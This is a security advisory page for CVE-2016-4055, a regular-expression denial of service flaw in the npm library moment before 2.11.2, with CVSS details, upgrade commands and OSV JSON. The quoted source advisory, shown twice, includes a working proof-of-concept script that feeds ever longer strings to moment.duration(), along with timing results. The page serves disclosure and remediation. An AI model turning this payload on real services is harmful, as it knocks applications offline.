CVE-2016-4055: Moment Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-87vv-r9j6-g5qv
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CVSS 6.5
CWE-400
Published
Advisory Summary

CVE-2016-4055 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Moment libraries in the npm ecosystem. The issue involves regular expression denial of service in moment. Remediation is available by upgrading affected packages to version 2.11.2.

CVE-2016-4055 at a Glance

CVE Identifier CVE-2016-4055
GHSA Identifier GHSA-87vv-r9j6-g5qv
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Moment
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2016-4055

To remediate this vulnerability, upgrade all affected Moment dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

moment fixed: 2.11.2 
npm install moment@2.11.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls moment

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2016-4055, inspect your project dependencies using npm:

npm ls moment

Analyze the terminal output to locate any version of Moment in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.11.2), your application is affected.

Note: The npm ls moment command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Moment, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`. ## Proof of concept ``` var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str) var end = process.hrtime(start); console.log(end); } ``` ### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ``` ## Recommendation Please update to version 2.11.2 or later.

CVE-2016-4055 Affected Moment Versions

1 component(s)
Fixed Versions:
2.11.2
Product / Package Ecosystem Affected Versions Fixed Version
moment
npm/moment
npm
< 2.11.2
2.11.2

References

NVD — CVE-2016-4055 NVD
https://nvd.nist.gov/vuln/detail/CVE-2016-4055
GitHub Advisory / Wiki ADVISORY
https://github.com/advisories/GHSA-87vv-r9j6-g5qv
Moment Source Repository REPOSITORY
https://github.com/moment/moment
lists.apache.org/thread.html/10f0f3a... WEB
https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E
lists.apache.org/thread.html/17ff53f... WEB
https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E
lists.apache.org/thread.html/52bafac... WEB
https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E
lists.apache.org/thread.html/54df3ae... WEB
https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E
www.npmjs.com/advisories/55 WEB
https://www.npmjs.com/advisories/55
Moment Security Information SECURITY
https://www.tenable.com/security/tns-2019-02
Moment Security Information SECURITY
http://www.openwall.com/lists/oss-security/2016/04/20/11
Moment Security Information SECURITY
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
Moment Security Information SECURITY
http://www.securityfocus.com/bid/95849

Frequently Asked Questions

What is CVE-2016-4055?
CVE-2016-4055 is a security vulnerability in Moment involving Regular Expression Denial of Service in moment under CWE-400: Uncontrolled Resource Consumption.
Which Moment versions are affected?
Affected versions include releases prior to 2.11.2 across affected packages: moment.
What version fixes CVE-2016-4055?
Upgrading to 2.11.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is moment affected?
Yes, moment is affected in releases prior to 2.11.2. Upgrade your dependency to 2.11.2 or later.
What is the CVSS score of CVE-2016-4055?
CVE-2016-4055 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2016-4055?
CVE-2016-4055 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2016-4055?
Run the dependency tree command: 'npm ls moment'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-87vv-r9j6-g5qv",
  "modified" : "2022-06-07T14:31:25Z",
  "published" : "2017-10-24T18:33:35Z",
  "aliases" : [ "CVE-2016-4055" ],
  "summary" : "Regular Expression Denial of Service in moment",
  "details" : "Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=20000;i<=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = '-' + genstr(i, '1')\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
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    "url" : "https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E"
  }, {
    "type" : "WEB",
    "url" : "https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E"
  }, {
    "type" : "WEB",
    "url" : "https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E"
  }, {
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    "url" : "https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E"
  }, {
    "type" : "WEB",
    "url" : "https://www.npmjs.com/advisories/55"
  }, {
    "type" : "WEB",
    "url" : "https://www.tenable.com/security/tns-2019-02"
  }, {
    "type" : "WEB",
    "url" : "http://www.openwall.com/lists/oss-security/2016/04/20/11"
  }, {
    "type" : "WEB",
    "url" : "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html"
  }, {
    "type" : "WEB",
    "url" : "http://www.securityfocus.com/bid/95849"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T21:24:44Z",
    "nvd_published_at" : "2017-01-23T21:59:00Z"
  }
}